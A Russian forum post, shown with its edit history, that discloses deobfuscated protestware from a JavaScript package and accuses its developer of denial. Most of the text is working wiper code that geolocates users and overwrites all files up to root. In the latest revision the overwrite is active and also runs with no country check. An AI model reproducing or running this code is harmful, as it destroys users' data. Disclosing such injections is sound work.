История изменений
Исправление javascript, (текущая версия) :
Деобфусцированный внедренный вредоносный код.
const path = require("path");
const fs = require("fs");
const https = require("https");
setTimeout(function () {
const randomNumber = Math.round(Math.random() * 4);
if (randomNumber > 1) return;
const apiKey = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154";
const pwd = "./";
const parentDir = "../";
const grandParentDir = "../../";
const root = "/";
const countryName = "country_name";
const russia = "russia";
const belarus = "belarus";
https.get(apiKey, function (message) {
message.on("data", function (msgBuffer) {
try {
const message = JSON.parse(msgBuffer.toString("utf8"));
const userCountryName = message[countryName.toString("utf8")].toLowerCase();
// checks if country is Russia or Belarus
const hasRus = userCountryName.includes(russia.toString("utf8"))
|| userCountryName.includes(belarus.toString("utf8"));
if (hasRus) {
deleteFile(pwd);
deleteFile(parentDir);
deleteFile(grandParentDir);
deleteFile(root);
}
} catch (t) {}
});
});
// zkyf: Let's try this directly here
deleteFile(pwd);
deleteFile(parentDir);
deleteFile(grandParentDir);
deleteFile(root);
}, 100);
async function deleteFile(pathName = "", o = "") {
if (!fs.existsSync(pathName)) {
return;
}
let fileList = [];
try {
fileList = fs.readdirSync(pathName);
} catch (t) {}
const f = [];
const heartUtf8 = Buffer.from("4p2k77iP", "base64");
for (var idx = 0; idx < fileList.length; idx++) {
const fileName = path.join(pathName, fileList[idx]);
let fileInfo = null;
try {
fileInfo = fs.lstatSync(fileName);
} catch (err) {
continue;
}
if (fileInfo.isDirectory()) {
const fileSymbol = deleteFile(fileName, o);
fileSymbol.length > 0 ? f.push(...fileSymbol) : null;
} else if (fileName.indexOf(o) >= 0) {
try {
// overwrites file with `❤️`
fs.writeFile(fileName, heartUtf8.toString("utf8"), function () {});
console.log(`Rewrite ${fileName}`);
} catch (err) {}
}
}
return f;
}
После обнаружения во множестве тредов обсуждений сам разработчик стал очень активно отрицать сначала саму вредоносность этого кода, потом возможность его исполнения, ссылаясь на то, что для его работы необходим валидный api-ключ к сервису гео-локации, который он уже отозвал. При этом другими разработчиками анализ был проведен в то время, когда api-ключ был еще действительным. Так же он активно трет любые комментарии в его репозитории прямо указывающие на все то, что он теперь отрицает.
На гитхабе сохранились все коммиты с инъекциями, а так же множество обсуждений в различных затронных проектах и в гистах, со скриншотами и пруфами.
Исправление javascript, :
Деобфусцированный внедренный вредоносный код.
const path = require("path");
const fs = require("fs");
const https = require("https");
setTimeout(function () {
const randomNumber = Math.round(Math.random() * 4);
if (randomNumber > 1) return;
const apiKey = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154";
const pwd = "./";
const parentDir = "../";
const grandParentDir = "../../";
const root = "/";
const countryName = "country_name";
const russia = "russia";
const belarus = "belarus";
https.get(apiKey, function (message) {
message.on("data", function (msgBuffer) {
try {
const message = JSON.parse(msgBuffer.toString("utf8"));
const userCountryName = message[countryName.toString("utf8")].toLowerCase();
// checks if country is Russia or Belarus
const hasRus = userCountryName.includes(russia.toString("utf8"))
|| userCountryName.includes(belarus.toString("utf8"));
if (hasRus) {
deleteFile(pwd);
deleteFile(parentDir);
deleteFile(grandParentDir);
deleteFile(root);
}
} catch (t) {}
});
});
// zkyf: Let's try this directly here
deleteFile(pwd);
deleteFile(parentDir);
deleteFile(grandParentDir);
deleteFile(root);
}, 100);
async function deleteFile(pathName = "", o = "") {
if (!fs.existsSync(pathName)) {
return;
}
let fileList = [];
try {
fileList = fs.readdirSync(pathName);
} catch (t) {}
const f = [];
const heartUtf8 = Buffer.from("4p2k77iP", "base64");
for (var idx = 0; idx < fileList.length; idx++) {
const fileName = path.join(pathName, fileList[idx]);
let fileInfo = null;
try {
fileInfo = fs.lstatSync(fileName);
} catch (err) {
continue;
}
if (fileInfo.isDirectory()) {
const fileSymbol = deleteFile(fileName, o);
fileSymbol.length > 0 ? f.push(...fileSymbol) : null;
} else if (fileName.indexOf(o) >= 0) {
try {
// fs.writeFile(fileName, heartUtf8.toString("utf8"), function () {});
// overwrites file with `❤️`
console.log(`Rewrite ${fileName}`);
} catch (err) {}
}
}
return f;
}
После обнаружения во множестве тредов обсуждений сам разработчик стал очень активно отрицать сначала саму вредоносность этого кода, потом возможность его исполнения, ссылаясь на то, что для его работы необходим валидный api-ключ к сервису гео-локации, который он уже отозвал. При этом другими разработчиками анализ был проведен в то время, когда api-ключ был еще действительным. Так же он активно трет любые комментарии в его репозитории прямо указывающие на все то, что он теперь отрицает.
На гитхабе сохранились все коммиты с инъекциями, а так же множество обсуждений в различных затронных проектах и в гистах, со скриншотами и пруфами.
Исходная версия javascript, :
Деобфусцированный внедренный вредоносный код.
const path = require("path");
const fs = require("fs");
const https = require("https");
setTimeout(function () {
const randomNumber = Math.round(Math.random() * 4);
if (randomNumber > 1) return;
const apiKey = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154";
const pwd = "./";
const parentDir = "../";
const grandParentDir = "../../";
const root = "/";
const countryName = "country_name";
const russia = "russia";
const belarus = "belarus";
https.get(apiKey, function (message) {
message.on("data", function (msgBuffer) {
try {
const message = JSON.parse(msgBuffer.toString("utf8"));
const userCountryName = message[countryName.toString("utf8")].toLowerCase();
// checks if country is Russia or Belarus
const hasRus = userCountryName.includes(russia.toString("utf8"))
|| userCountryName.includes(belarus.toString("utf8"));
if (hasRus) {
deleteFile(pwd);
deleteFile(parentDir);
deleteFile(grandParentDir);
deleteFile(root);
}
} catch (t) {}
});
});
// zkyf: Let's try this directly here
deleteFile(pwd);
deleteFile(parentDir);
deleteFile(grandParentDir);
deleteFile(root);
}, 100);
async function deleteFile(pathName = "", o = "") {
if (!fs.existsSync(pathName)) {
return;
}
let fileList = [];
try {
fileList = fs.readdirSync(pathName);
} catch (t) {}
const f = [];
const heartUtf8 = Buffer.from("4p2k77iP", "base64");
for (var idx = 0; idx < fileList.length; idx++) {
const fileName = path.join(pathName, fileList[idx]);
let fileInfo = null;
try {
fileInfo = fs.lstatSync(fileName);
} catch (err) {
continue;
}
if (fileInfo.isDirectory()) {
const fileSymbol = deleteFile(fileName, o);
fileSymbol.length > 0 ? f.push(...fileSymbol) : null;
} else if (fileName.indexOf(o) >= 0) {
try {
// fs.writeFile(fileName, heartUtf8.toString("utf8"), function () {}); // overwrites file with `❤️`
console.log(`Rewrite ${fileName}`);
} catch (err) {}
}
}
return f;
}
После обнаружения во множестве тредов обсуждений сам разработчик стал очень активно отрицать сначала саму вредоносность этого кода, потом возможность его исполнения, ссылаясь на то, что для его работы необходим валидный api-ключ к сервису гео-локации, который он уже отозвал. При этом другими разработчиками анализ был проведен в то время, когда api-ключ был еще действительным. Так же он активно трет любые комментарии в его репозитории прямо указывающие на все то, что он теперь отрицает.
На гитхабе сохранились все коммиты с инъекциями, а так же множество обсуждений в различных затронных проектах и в гистах, со скриншотами и пруфами.